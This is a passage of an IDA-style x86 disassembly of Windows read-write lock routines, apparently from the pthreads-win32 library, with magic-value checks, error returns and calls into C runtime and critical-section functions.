		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510980
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
